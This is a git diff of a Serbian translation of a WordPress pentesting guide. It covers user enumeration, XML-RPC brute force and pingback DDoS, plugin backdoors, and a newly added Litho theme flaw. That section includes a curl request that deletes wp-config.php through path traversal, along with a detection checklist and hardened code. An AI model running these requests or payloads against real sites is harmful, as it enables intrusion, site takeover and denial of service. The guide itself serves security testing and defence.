Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:56:33 +00:00
parent d2b60ac979
commit e84a25d6d5

View File

@ -28,21 +28,21 @@
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
**Post exploitation**
**Post eksploatacija**
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
### Dozvole korisnika
- **Administrator**
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
- **Author**: Objavljuje i upravlja svojim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
- **Subscriber**: Pregleda postove i uređuje svoj profil
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
- **Autor**: Objavljuje i upravlja svojim postovima
- **Doprinosilac**: Piše i upravlja svojim postovima, ali ih ne može objaviti
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
## **Pasivna enumeracija**
### **Dobijanje WordPress verzije**
### **Dobijanje verzije WordPress-a**
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
@ -77,13 +77,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Aktivna enumeracija
### Pluginovi i teme
### Plugin-i i Teme
Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste).
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste).
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -101,7 +101,7 @@ Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. *
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
- **Enumeracija korisničkog imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
### XML-RPC
@ -136,7 +136,7 @@ Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 tr
![](<../../images/image (721).png>)
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -166,7 +166,7 @@ Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se
</params>
</methodCall>
```
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu:
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete isprobati nekoliko kredencijala u istom zahtevu:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
@ -176,7 +176,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
**DDoS ili skeniranje portova**
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
```html
<methodCall>
@ -209,7 +209,7 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Dobijanje pristupa prepisivanjem bita
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -266,7 +266,7 @@ to get a session.
### PHP plugin
Možda će biti moguće uploadovati .php fajlove kao plugin.\
Možda je moguće uploadovati .php fajlove kao plugin.\
Kreirajte svoj php backdoor koristeći, na primer:
![](<../../images/image (183).png>)
@ -305,7 +305,7 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
- **`wp_ajax`**
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
```php
@ -366,13 +366,89 @@ $this->namespace, '/get/', array(
- **Direktan pristup php datoteci**
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika.
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
3. **Strogu sanitizaciju / validaciju unosa**.
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemi koje uvodi ovaj deo koda:
* **Neautentifikovani pristup** `wp_ajax_nopriv_` hook je registrovan.
* **Nema nonce / provere sposobnosti** bilo koji posetilac može da pristupi kraju.
* **Nema sanitizacije putanje** string `fontfamily` koji kontroliše korisnik se konkatenira sa putanjom do datotečnog sistema bez filtriranja, što omogućava klasičnu `../../` traversalu.
#### Eksploatacija
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika).
Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila.
#### Lista za detekciju
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`).
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvostruko proverite:
> • Autentifikacija • Autorizacija • Nonce • Sanitizacija ulaza • Ograničenje putanje (npr. putem `realpath()` plus `str_starts_with()`).
---
## WordPress zaštita
### Redovne ažuriranja
Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -394,4 +470,8 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade
- Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
## Reference
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}